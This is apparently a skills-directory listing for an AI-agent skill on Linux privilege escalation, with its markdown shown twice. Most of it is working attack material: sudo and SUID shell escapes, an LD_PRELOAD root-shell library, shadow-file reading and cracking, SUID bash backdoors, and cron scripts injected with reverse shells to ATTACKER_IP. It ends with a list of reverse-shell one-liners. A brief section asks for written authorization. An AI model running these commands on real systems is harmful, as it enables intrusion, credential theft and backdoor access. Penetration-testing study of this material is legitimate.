[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6AFT0QZ3FTG41FK2Q9MHRAZ":3,"skill-same:01M6AFT0QZ3FTG41FK2Q9MHRAZ":75},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":15,"licenseFileUrl":6,"sourceHtmlUrl":16,"categories":17,"keywords":23,"publishedAt":43,"linkOnly":44,"markdownContent":45,"markdownBody":46,"frontMatter":47,"refName":51,"commitSha":52,"skillDirectory":53,"forksCount":54,"repositoryHtmlUrl":55,"repositoryHomepageUrl":56,"ownerHtmlUrl":57,"ownerBlogUrl":58,"ownerDescription":59,"updatedAt":60,"install":61,"resources":74},"01M6AFT0QZ3FTG41FK2Q9MHRAZ","Linux Privilege Escalation",null,"This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"exploit cron jobs for root access\", \"enumerate Linux systems for privilege escalation\", or \"gain root access from low-privilege shell\". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.","davila7\u002Fclaude-code-templates","davila7","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F6216945?v=4","01M6ADEWWFPS191NFM0Y1EX1JH","Daniel Avila","01M6ADJHGM78PHQRD3XZTFDVKK",33332,"MIT","https:\u002F\u002Fgithub.com\u002Fdavila7\u002Fclaude-code-templates\u002Fblob\u002Fmain\u002Fcli-tool\u002Fcomponents\u002Fskills\u002Fsecurity\u002Flinux-privilege-escalation\u002FSKILL.md",[18],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发","SCENARIO","使用场景",[24,5,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42],"escalation","privilege escalation","linux","vectors","when","for","techniques","suid","sudo","escalate","paths","systems","jobs","exploit","find","access","shell","cron","cron jobs","2026-11-10 10:12:30",false,"---\nname: Linux Privilege Escalation\ndescription: This skill should be used when the user asks to \"escalate privileges on Linux\", \"find privesc vectors on Linux systems\", \"exploit sudo misconfigurations\", \"abuse SUID binaries\", \"exploit cron jobs for root access\", \"enumerate Linux systems for privilege escalation\", or \"gain root access from low-privilege shell\". It provides comprehensive techniques for identifying and exploiting privilege escalation paths on Linux systems.\nmetadata:\n  author: zebbern\n  version: \"1.1\"\n---\n\n# Linux Privilege Escalation\n\n## Purpose\n\nExecute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.\n\n## Inputs \u002F Prerequisites\n\n### Required Access\n- Low-privilege shell access to target Linux system\n- Ability to execute commands (interactive or semi-interactive shell)\n- Network access for reverse shell connections (if needed)\n- Attacker machine for payload hosting and receiving shells\n\n### Technical Requirements\n- Understanding of Linux filesystem permissions and ownership\n- Familiarity with common Linux utilities and scripting\n- Knowledge of kernel versions and associated vulnerabilities\n- Basic understanding of compilation (gcc) for custom exploits\n\n### Recommended Tools\n- LinPEAS, LinEnum, or Linux Smart Enumeration scripts\n- Linux Exploit Suggester (LES)\n- GTFOBins reference for binary exploitation\n- John the Ripper or Hashcat for password cracking\n- Netcat or similar for reverse shells\n\n## Outputs \u002F Deliverables\n\n### Primary Outputs\n- Root shell access on target system\n- Privilege escalation path documentation\n- System enumeration findings report\n- Recommendations for remediation\n\n### Evidence Artifacts\n- Screenshots of successful privilege escalation\n- Command output logs demonstrating root access\n- Identified vulnerability details\n- Exploited configuration files\n\n## Core Workflow\n\n### Phase 1: System Enumeration\n\n#### Basic System Information\nGather fundamental system details for vulnerability research:\n\n```bash\n# Hostname and system role\nhostname\n\n# Kernel version and architecture\nuname -a\n\n# Detailed kernel information\ncat \u002Fproc\u002Fversion\n\n# Operating system details\ncat \u002Fetc\u002Fissue\ncat \u002Fetc\u002F*-release\n\n# Architecture\narch\n```\n\n#### User and Permission Enumeration\n\n```bash\n# Current user context\nwhoami\nid\n\n# Users with login shells\ncat \u002Fetc\u002Fpasswd | grep -v nologin | grep -v false\n\n# Users with home directories\ncat \u002Fetc\u002Fpasswd | grep home\n\n# Group memberships\ngroups\n\n# Other logged-in users\nw\nwho\n```\n\n#### Network Information\n\n```bash\n# Network interfaces\nifconfig\nip addr\n\n# Routing table\nip route\n\n# Active connections\nnetstat -antup\nss -tulpn\n\n# Listening services\nnetstat -l\n```\n\n#### Process and Service Enumeration\n\n```bash\n# All running processes\nps aux\nps -ef\n\n# Process tree view\nps axjf\n\n# Services running as root\nps aux | grep root\n```\n\n#### Environment Variables\n\n```bash\n# Full environment\nenv\n\n# PATH variable (for hijacking)\necho $PATH\n```\n\n### Phase 2: Automated Enumeration\n\nDeploy automated scripts for comprehensive enumeration:\n\n```bash\n# LinPEAS\ncurl -L https:\u002F\u002Fgithub.com\u002Fcarlospolop\u002FPEASS-ng\u002Freleases\u002Flatest\u002Fdownload\u002Flinpeas.sh | sh\n\n# LinEnum\n.\u002FLinEnum.sh -t\n\n# Linux Smart Enumeration\n.\u002Flse.sh -l 1\n\n# Linux Exploit Suggester\n.\u002Fles.sh\n```\n\nTransfer scripts to target system:\n\n```bash\n# On attacker machine\npython3 -m http.server 8000\n\n# On target machine\nwget http:\u002F\u002FATTACKER_IP:8000\u002Flinpeas.sh\nchmod +x linpeas.sh\n.\u002Flinpeas.sh\n```\n\n### Phase 3: Kernel Exploits\n\n#### Identify Kernel Version\n\n```bash\nuname -r\ncat \u002Fproc\u002Fversion\n```\n\n#### Search for Exploits\n\n```bash\n# Use Linux Exploit Suggester\n.\u002Flinux-exploit-suggester.sh\n\n# Manual search on exploit-db\nsearchsploit linux kernel [version]\n```\n\n#### Common Kernel Exploits\n\n| Kernel Version | Exploit | CVE |\n|---------------|---------|-----|\n| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |\n| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |\n| 5.8+ | Dirty Pipe | CVE-2022-0847 |\n\n#### Compile and Execute\n\n```bash\n# Transfer exploit source\nwget http:\u002F\u002FATTACKER_IP\u002Fexploit.c\n\n# Compile on target\ngcc exploit.c -o exploit\n\n# Execute\n.\u002Fexploit\n```\n\n### Phase 4: Sudo Exploitation\n\n#### Enumerate Sudo Privileges\n\n```bash\nsudo -l\n```\n\n#### GTFOBins Sudo Exploitation\nReference https:\u002F\u002Fgtfobins.github.io for exploitation commands:\n\n```bash\n# Example: vim with sudo\nsudo vim -c ':!\u002Fbin\u002Fbash'\n\n# Example: find with sudo\nsudo find . -exec \u002Fbin\u002Fsh \\; -quit\n\n# Example: awk with sudo\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\n\n# Example: python with sudo\nsudo python -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n\n# Example: less with sudo\nsudo less \u002Fetc\u002Fpasswd\n!\u002Fbin\u002Fbash\n```\n\n#### LD_PRELOAD Exploitation\nWhen env_keep includes LD_PRELOAD:\n\n```c\n\u002F\u002F shell.c\n#include \u003Cstdio.h>\n#include \u003Csys\u002Ftypes.h>\n#include \u003Cstdlib.h>\n\nvoid _init() {\n    unsetenv(\"LD_PRELOAD\");\n    setgid(0);\n    setuid(0);\n    system(\"\u002Fbin\u002Fbash\");\n}\n```\n\n```bash\n# Compile shared library\ngcc -fPIC -shared -o shell.so shell.c -nostartfiles\n\n# Execute with sudo\nsudo LD_PRELOAD=\u002Ftmp\u002Fshell.so find\n```\n\n### Phase 5: SUID Binary Exploitation\n\n#### Find SUID Binaries\n\n```bash\nfind \u002F -type f -perm -04000 -ls 2>\u002Fdev\u002Fnull\nfind \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull\n```\n\n#### Exploit SUID Binaries\nReference GTFOBins for SUID exploitation:\n\n```bash\n# Example: base64 for file reading\nLFILE=\u002Fetc\u002Fshadow\nbase64 \"$LFILE\" | base64 -d\n\n# Example: cp for file writing\ncp \u002Fbin\u002Fbash \u002Ftmp\u002Fbash\nchmod +s \u002Ftmp\u002Fbash\n\u002Ftmp\u002Fbash -p\n\n# Example: find with SUID\nfind . -exec \u002Fbin\u002Fsh -p \\; -quit\n```\n\n#### Password Cracking via SUID\n\n```bash\n# Read shadow file (if base64 has SUID)\nbase64 \u002Fetc\u002Fshadow | base64 -d > shadow.txt\nbase64 \u002Fetc\u002Fpasswd | base64 -d > passwd.txt\n\n# On attacker machine\nunshadow passwd.txt shadow.txt > hashes.txt\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt hashes.txt\n```\n\n#### Add User to passwd (if nano\u002Fvim has SUID)\n\n```bash\n# Generate password hash\nopenssl passwd -1 -salt new newpassword\n\n# Add to \u002Fetc\u002Fpasswd (using SUID editor)\nnewuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:\u002Froot:\u002Fbin\u002Fbash\n```\n\n### Phase 6: Capabilities Exploitation\n\n#### Enumerate Capabilities\n\n```bash\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n```\n\n#### Exploit Capabilities\n\n```bash\n# Example: python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Example: vim with cap_setuid\n.\u002Fvim -c ':py3 import os; os.setuid(0); os.execl(\"\u002Fbin\u002Fbash\", \"bash\", \"-c\", \"reset; exec bash\")'\n\n# Example: perl with cap_setuid\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n```\n\n### Phase 7: Cron Job Exploitation\n\n#### Enumerate Cron Jobs\n\n```bash\n# System crontab\ncat \u002Fetc\u002Fcrontab\n\n# User crontabs\nls -la \u002Fvar\u002Fspool\u002Fcron\u002Fcrontabs\u002F\n\n# Cron directories\nls -la \u002Fetc\u002Fcron.*\n\n# Systemd timers\nsystemctl list-timers\n```\n\n#### Exploit Writable Cron Scripts\n\n```bash\n# Identify writable cron script from \u002Fetc\u002Fcrontab\nls -la \u002Fopt\u002Fbackup.sh        # Check permissions\necho 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1' >> \u002Fopt\u002Fbackup.sh\n\n# If cron references non-existent script in writable PATH\necho -e '#!\u002Fbin\u002Fbash\\nbash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1' > \u002Fhome\u002Fuser\u002Fantivirus.sh\nchmod +x \u002Fhome\u002Fuser\u002Fantivirus.sh\n```\n\n### Phase 8: PATH Hijacking\n\n```bash\n# Find SUID binary calling external command\nstrings \u002Fusr\u002Flocal\u002Fbin\u002Fsuid-binary\n# Shows: system(\"service apache2 start\")\n\n# Hijack by creating malicious binary in writable PATH\nexport PATH=\u002Ftmp:$PATH\necho -e '#!\u002Fbin\u002Fbash\\n\u002Fbin\u002Fbash -p' > \u002Ftmp\u002Fservice\nchmod +x \u002Ftmp\u002Fservice\n\u002Fusr\u002Flocal\u002Fbin\u002Fsuid-binary      # Execute SUID binary\n```\n\n### Phase 9: NFS Exploitation\n\n```bash\n# On target - look for no_root_squash option\ncat \u002Fetc\u002Fexports\n\n# On attacker - mount share and create SUID binary\nshowmount -e TARGET_IP\nmount -o rw TARGET_IP:\u002Fshare \u002Ftmp\u002Fnfs\n\n# Create and compile SUID shell\necho 'int main(){setuid(0);setgid(0);system(\"\u002Fbin\u002Fbash\");return 0;}' > \u002Ftmp\u002Fnfs\u002Fshell.c\ngcc \u002Ftmp\u002Fnfs\u002Fshell.c -o \u002Ftmp\u002Fnfs\u002Fshell && chmod +s \u002Ftmp\u002Fnfs\u002Fshell\n\n# On target - execute\n\u002Fshare\u002Fshell\n```\n\n## Quick Reference\n\n### Enumeration Commands Summary\n| Purpose | Command |\n|---------|---------|\n| Kernel version | `uname -a` |\n| Current user | `id` |\n| Sudo rights | `sudo -l` |\n| SUID files | `find \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull` |\n| Capabilities | `getcap -r \u002F 2>\u002Fdev\u002Fnull` |\n| Cron jobs | `cat \u002Fetc\u002Fcrontab` |\n| Writable dirs | `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` |\n| NFS exports | `cat \u002Fetc\u002Fexports` |\n\n### Reverse Shell One-Liners\n```bash\n# Bash\nbash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"\u002Fbin\u002Fbash\",\"-i\"])'\n\n# Netcat\nnc -e \u002Fbin\u002Fbash ATTACKER_IP 4444\n\n# Perl\nperl -e 'use Socket;$i=\"ATTACKER_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\u002Fbin\u002Fbash -i\");'\n```\n\n### Key Resources\n- GTFOBins: https:\u002F\u002Fgtfobins.github.io\n- LinPEAS: https:\u002F\u002Fgithub.com\u002Fcarlospolop\u002FPEASS-ng\n- Linux Exploit Suggester: https:\u002F\u002Fgithub.com\u002Fmzet-\u002Flinux-exploit-suggester\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Verify kernel exploits in test environment before production use\n- Failed kernel exploits may crash the system\n- Document all changes made during privilege escalation\n- Maintain access persistence only as authorized\n\n### Technical Limitations\n- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)\n- AppArmor\u002FSELinux may restrict exploitation techniques\n- Container environments limit kernel-level exploits\n- Hardened systems may have restricted sudo configurations\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Stay within defined scope boundaries\n- Report critical findings immediately\n- Do not access data beyond scope requirements\n\n## Examples\n\n### Example 1: Sudo to Root via find\n\n**Scenario**: User has sudo rights for find command\n\n```bash\n$ sudo -l\nUser user may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\n\n$ sudo find . -exec \u002Fbin\u002Fbash \\; -quit\n# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: SUID base64 for Shadow Access\n\n**Scenario**: base64 binary has SUID bit set\n\n```bash\n$ find \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull | grep base64\n\u002Fusr\u002Fbin\u002Fbase64\n\n$ base64 \u002Fetc\u002Fshadow | base64 -d\nroot:$6$xyz...:18000:0:99999:7:::\n\n# Crack offline with john\n$ john --wordlist=rockyou.txt shadow.txt\n```\n\n### Example 3: Cron Job Script Hijacking\n\n**Scenario**: Root cron job executes writable script\n\n```bash\n$ cat \u002Fetc\u002Fcrontab\n* * * * * root \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n$ ls -la \u002Fopt\u002Fscripts\u002Fbackup.sh\n-rwxrwxrwx 1 root root 50 \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n$ echo 'cp \u002Fbin\u002Fbash \u002Ftmp\u002Fbash; chmod +s \u002Ftmp\u002Fbash' >> \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n# Wait 1 minute\n$ \u002Ftmp\u002Fbash -p\n# id\nuid=1000(user) gid=1000(user) euid=0(root)\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |\n| Reverse shell not connecting | Check firewall; try ports 443\u002F80; use staged payloads; check egress filtering |\n| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor\u002FSELinux; some binaries drop privileges |\n| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab |\n","# Linux Privilege Escalation\n\n## Purpose\n\nExecute systematic privilege escalation assessments on Linux systems to identify and exploit misconfigurations, vulnerable services, and security weaknesses that allow elevation from low-privilege user access to root-level control. This skill enables comprehensive enumeration and exploitation of kernel vulnerabilities, sudo misconfigurations, SUID binaries, cron jobs, capabilities, PATH hijacking, and NFS weaknesses.\n\n## Inputs \u002F Prerequisites\n\n### Required Access\n- Low-privilege shell access to target Linux system\n- Ability to execute commands (interactive or semi-interactive shell)\n- Network access for reverse shell connections (if needed)\n- Attacker machine for payload hosting and receiving shells\n\n### Technical Requirements\n- Understanding of Linux filesystem permissions and ownership\n- Familiarity with common Linux utilities and scripting\n- Knowledge of kernel versions and associated vulnerabilities\n- Basic understanding of compilation (gcc) for custom exploits\n\n### Recommended Tools\n- LinPEAS, LinEnum, or Linux Smart Enumeration scripts\n- Linux Exploit Suggester (LES)\n- GTFOBins reference for binary exploitation\n- John the Ripper or Hashcat for password cracking\n- Netcat or similar for reverse shells\n\n## Outputs \u002F Deliverables\n\n### Primary Outputs\n- Root shell access on target system\n- Privilege escalation path documentation\n- System enumeration findings report\n- Recommendations for remediation\n\n### Evidence Artifacts\n- Screenshots of successful privilege escalation\n- Command output logs demonstrating root access\n- Identified vulnerability details\n- Exploited configuration files\n\n## Core Workflow\n\n### Phase 1: System Enumeration\n\n#### Basic System Information\nGather fundamental system details for vulnerability research:\n\n```bash\n# Hostname and system role\nhostname\n\n# Kernel version and architecture\nuname -a\n\n# Detailed kernel information\ncat \u002Fproc\u002Fversion\n\n# Operating system details\ncat \u002Fetc\u002Fissue\ncat \u002Fetc\u002F*-release\n\n# Architecture\narch\n```\n\n#### User and Permission Enumeration\n\n```bash\n# Current user context\nwhoami\nid\n\n# Users with login shells\ncat \u002Fetc\u002Fpasswd | grep -v nologin | grep -v false\n\n# Users with home directories\ncat \u002Fetc\u002Fpasswd | grep home\n\n# Group memberships\ngroups\n\n# Other logged-in users\nw\nwho\n```\n\n#### Network Information\n\n```bash\n# Network interfaces\nifconfig\nip addr\n\n# Routing table\nip route\n\n# Active connections\nnetstat -antup\nss -tulpn\n\n# Listening services\nnetstat -l\n```\n\n#### Process and Service Enumeration\n\n```bash\n# All running processes\nps aux\nps -ef\n\n# Process tree view\nps axjf\n\n# Services running as root\nps aux | grep root\n```\n\n#### Environment Variables\n\n```bash\n# Full environment\nenv\n\n# PATH variable (for hijacking)\necho $PATH\n```\n\n### Phase 2: Automated Enumeration\n\nDeploy automated scripts for comprehensive enumeration:\n\n```bash\n# LinPEAS\ncurl -L https:\u002F\u002Fgithub.com\u002Fcarlospolop\u002FPEASS-ng\u002Freleases\u002Flatest\u002Fdownload\u002Flinpeas.sh | sh\n\n# LinEnum\n.\u002FLinEnum.sh -t\n\n# Linux Smart Enumeration\n.\u002Flse.sh -l 1\n\n# Linux Exploit Suggester\n.\u002Fles.sh\n```\n\nTransfer scripts to target system:\n\n```bash\n# On attacker machine\npython3 -m http.server 8000\n\n# On target machine\nwget http:\u002F\u002FATTACKER_IP:8000\u002Flinpeas.sh\nchmod +x linpeas.sh\n.\u002Flinpeas.sh\n```\n\n### Phase 3: Kernel Exploits\n\n#### Identify Kernel Version\n\n```bash\nuname -r\ncat \u002Fproc\u002Fversion\n```\n\n#### Search for Exploits\n\n```bash\n# Use Linux Exploit Suggester\n.\u002Flinux-exploit-suggester.sh\n\n# Manual search on exploit-db\nsearchsploit linux kernel [version]\n```\n\n#### Common Kernel Exploits\n\n| Kernel Version | Exploit | CVE |\n|---------------|---------|-----|\n| 2.6.x - 3.x | Dirty COW | CVE-2016-5195 |\n| 4.4.x - 4.13.x | Double Fetch | CVE-2017-16995 |\n| 5.8+ | Dirty Pipe | CVE-2022-0847 |\n\n#### Compile and Execute\n\n```bash\n# Transfer exploit source\nwget http:\u002F\u002FATTACKER_IP\u002Fexploit.c\n\n# Compile on target\ngcc exploit.c -o exploit\n\n# Execute\n.\u002Fexploit\n```\n\n### Phase 4: Sudo Exploitation\n\n#### Enumerate Sudo Privileges\n\n```bash\nsudo -l\n```\n\n#### GTFOBins Sudo Exploitation\nReference https:\u002F\u002Fgtfobins.github.io for exploitation commands:\n\n```bash\n# Example: vim with sudo\nsudo vim -c ':!\u002Fbin\u002Fbash'\n\n# Example: find with sudo\nsudo find . -exec \u002Fbin\u002Fsh \\; -quit\n\n# Example: awk with sudo\nsudo awk 'BEGIN {system(\"\u002Fbin\u002Fbash\")}'\n\n# Example: python with sudo\nsudo python -c 'import os; os.system(\"\u002Fbin\u002Fbash\")'\n\n# Example: less with sudo\nsudo less \u002Fetc\u002Fpasswd\n!\u002Fbin\u002Fbash\n```\n\n#### LD_PRELOAD Exploitation\nWhen env_keep includes LD_PRELOAD:\n\n```c\n\u002F\u002F shell.c\n#include \u003Cstdio.h>\n#include \u003Csys\u002Ftypes.h>\n#include \u003Cstdlib.h>\n\nvoid _init() {\n    unsetenv(\"LD_PRELOAD\");\n    setgid(0);\n    setuid(0);\n    system(\"\u002Fbin\u002Fbash\");\n}\n```\n\n```bash\n# Compile shared library\ngcc -fPIC -shared -o shell.so shell.c -nostartfiles\n\n# Execute with sudo\nsudo LD_PRELOAD=\u002Ftmp\u002Fshell.so find\n```\n\n### Phase 5: SUID Binary Exploitation\n\n#### Find SUID Binaries\n\n```bash\nfind \u002F -type f -perm -04000 -ls 2>\u002Fdev\u002Fnull\nfind \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull\n```\n\n#### Exploit SUID Binaries\nReference GTFOBins for SUID exploitation:\n\n```bash\n# Example: base64 for file reading\nLFILE=\u002Fetc\u002Fshadow\nbase64 \"$LFILE\" | base64 -d\n\n# Example: cp for file writing\ncp \u002Fbin\u002Fbash \u002Ftmp\u002Fbash\nchmod +s \u002Ftmp\u002Fbash\n\u002Ftmp\u002Fbash -p\n\n# Example: find with SUID\nfind . -exec \u002Fbin\u002Fsh -p \\; -quit\n```\n\n#### Password Cracking via SUID\n\n```bash\n# Read shadow file (if base64 has SUID)\nbase64 \u002Fetc\u002Fshadow | base64 -d > shadow.txt\nbase64 \u002Fetc\u002Fpasswd | base64 -d > passwd.txt\n\n# On attacker machine\nunshadow passwd.txt shadow.txt > hashes.txt\njohn --wordlist=\u002Fusr\u002Fshare\u002Fwordlists\u002Frockyou.txt hashes.txt\n```\n\n#### Add User to passwd (if nano\u002Fvim has SUID)\n\n```bash\n# Generate password hash\nopenssl passwd -1 -salt new newpassword\n\n# Add to \u002Fetc\u002Fpasswd (using SUID editor)\nnewuser:$1$new$p7ptkEKU1HnaHpRtzNizS1:0:0:root:\u002Froot:\u002Fbin\u002Fbash\n```\n\n### Phase 6: Capabilities Exploitation\n\n#### Enumerate Capabilities\n\n```bash\ngetcap -r \u002F 2>\u002Fdev\u002Fnull\n```\n\n#### Exploit Capabilities\n\n```bash\n# Example: python with cap_setuid\n\u002Fusr\u002Fbin\u002Fpython3 -c 'import os; os.setuid(0); os.system(\"\u002Fbin\u002Fbash\")'\n\n# Example: vim with cap_setuid\n.\u002Fvim -c ':py3 import os; os.setuid(0); os.execl(\"\u002Fbin\u002Fbash\", \"bash\", \"-c\", \"reset; exec bash\")'\n\n# Example: perl with cap_setuid\nperl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec \"\u002Fbin\u002Fbash\";'\n```\n\n### Phase 7: Cron Job Exploitation\n\n#### Enumerate Cron Jobs\n\n```bash\n# System crontab\ncat \u002Fetc\u002Fcrontab\n\n# User crontabs\nls -la \u002Fvar\u002Fspool\u002Fcron\u002Fcrontabs\u002F\n\n# Cron directories\nls -la \u002Fetc\u002Fcron.*\n\n# Systemd timers\nsystemctl list-timers\n```\n\n#### Exploit Writable Cron Scripts\n\n```bash\n# Identify writable cron script from \u002Fetc\u002Fcrontab\nls -la \u002Fopt\u002Fbackup.sh        # Check permissions\necho 'bash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1' >> \u002Fopt\u002Fbackup.sh\n\n# If cron references non-existent script in writable PATH\necho -e '#!\u002Fbin\u002Fbash\\nbash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1' > \u002Fhome\u002Fuser\u002Fantivirus.sh\nchmod +x \u002Fhome\u002Fuser\u002Fantivirus.sh\n```\n\n### Phase 8: PATH Hijacking\n\n```bash\n# Find SUID binary calling external command\nstrings \u002Fusr\u002Flocal\u002Fbin\u002Fsuid-binary\n# Shows: system(\"service apache2 start\")\n\n# Hijack by creating malicious binary in writable PATH\nexport PATH=\u002Ftmp:$PATH\necho -e '#!\u002Fbin\u002Fbash\\n\u002Fbin\u002Fbash -p' > \u002Ftmp\u002Fservice\nchmod +x \u002Ftmp\u002Fservice\n\u002Fusr\u002Flocal\u002Fbin\u002Fsuid-binary      # Execute SUID binary\n```\n\n### Phase 9: NFS Exploitation\n\n```bash\n# On target - look for no_root_squash option\ncat \u002Fetc\u002Fexports\n\n# On attacker - mount share and create SUID binary\nshowmount -e TARGET_IP\nmount -o rw TARGET_IP:\u002Fshare \u002Ftmp\u002Fnfs\n\n# Create and compile SUID shell\necho 'int main(){setuid(0);setgid(0);system(\"\u002Fbin\u002Fbash\");return 0;}' > \u002Ftmp\u002Fnfs\u002Fshell.c\ngcc \u002Ftmp\u002Fnfs\u002Fshell.c -o \u002Ftmp\u002Fnfs\u002Fshell && chmod +s \u002Ftmp\u002Fnfs\u002Fshell\n\n# On target - execute\n\u002Fshare\u002Fshell\n```\n\n## Quick Reference\n\n### Enumeration Commands Summary\n| Purpose | Command |\n|---------|---------|\n| Kernel version | `uname -a` |\n| Current user | `id` |\n| Sudo rights | `sudo -l` |\n| SUID files | `find \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull` |\n| Capabilities | `getcap -r \u002F 2>\u002Fdev\u002Fnull` |\n| Cron jobs | `cat \u002Fetc\u002Fcrontab` |\n| Writable dirs | `find \u002F -writable -type d 2>\u002Fdev\u002Fnull` |\n| NFS exports | `cat \u002Fetc\u002Fexports` |\n\n### Reverse Shell One-Liners\n```bash\n# Bash\nbash -i >& \u002Fdev\u002Ftcp\u002FATTACKER_IP\u002F4444 0>&1\n\n# Python\npython -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"\u002Fbin\u002Fbash\",\"-i\"])'\n\n# Netcat\nnc -e \u002Fbin\u002Fbash ATTACKER_IP 4444\n\n# Perl\nperl -e 'use Socket;$i=\"ATTACKER_IP\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));connect(S,sockaddr_in($p,inet_aton($i)));open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"\u002Fbin\u002Fbash -i\");'\n```\n\n### Key Resources\n- GTFOBins: https:\u002F\u002Fgtfobins.github.io\n- LinPEAS: https:\u002F\u002Fgithub.com\u002Fcarlospolop\u002FPEASS-ng\n- Linux Exploit Suggester: https:\u002F\u002Fgithub.com\u002Fmzet-\u002Flinux-exploit-suggester\n\n## Constraints and Guardrails\n\n### Operational Boundaries\n- Verify kernel exploits in test environment before production use\n- Failed kernel exploits may crash the system\n- Document all changes made during privilege escalation\n- Maintain access persistence only as authorized\n\n### Technical Limitations\n- Modern kernels may have exploit mitigations (ASLR, SMEP, SMAP)\n- AppArmor\u002FSELinux may restrict exploitation techniques\n- Container environments limit kernel-level exploits\n- Hardened systems may have restricted sudo configurations\n\n### Legal and Ethical Requirements\n- Written authorization required before testing\n- Stay within defined scope boundaries\n- Report critical findings immediately\n- Do not access data beyond scope requirements\n\n## Examples\n\n### Example 1: Sudo to Root via find\n\n**Scenario**: User has sudo rights for find command\n\n```bash\n$ sudo -l\nUser user may run the following commands:\n    (root) NOPASSWD: \u002Fusr\u002Fbin\u002Ffind\n\n$ sudo find . -exec \u002Fbin\u002Fbash \\; -quit\n# id\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Example 2: SUID base64 for Shadow Access\n\n**Scenario**: base64 binary has SUID bit set\n\n```bash\n$ find \u002F -perm -u=s -type f 2>\u002Fdev\u002Fnull | grep base64\n\u002Fusr\u002Fbin\u002Fbase64\n\n$ base64 \u002Fetc\u002Fshadow | base64 -d\nroot:$6$xyz...:18000:0:99999:7:::\n\n# Crack offline with john\n$ john --wordlist=rockyou.txt shadow.txt\n```\n\n### Example 3: Cron Job Script Hijacking\n\n**Scenario**: Root cron job executes writable script\n\n```bash\n$ cat \u002Fetc\u002Fcrontab\n* * * * * root \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n$ ls -la \u002Fopt\u002Fscripts\u002Fbackup.sh\n-rwxrwxrwx 1 root root 50 \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n$ echo 'cp \u002Fbin\u002Fbash \u002Ftmp\u002Fbash; chmod +s \u002Ftmp\u002Fbash' >> \u002Fopt\u002Fscripts\u002Fbackup.sh\n\n# Wait 1 minute\n$ \u002Ftmp\u002Fbash -p\n# id\nuid=1000(user) gid=1000(user) euid=0(root)\n```\n\n## Troubleshooting\n\n| Issue | Solutions |\n|-------|-----------|\n| Exploit compilation fails | Check for gcc: `which gcc`; compile on attacker for same arch; use `gcc -static` |\n| Reverse shell not connecting | Check firewall; try ports 443\u002F80; use staged payloads; check egress filtering |\n| SUID binary not exploitable | Verify version matches GTFOBins; check AppArmor\u002FSELinux; some binaries drop privileges |\n| Cron job not executing | Verify cron running: `service cron status`; check +x permissions; verify PATH in crontab 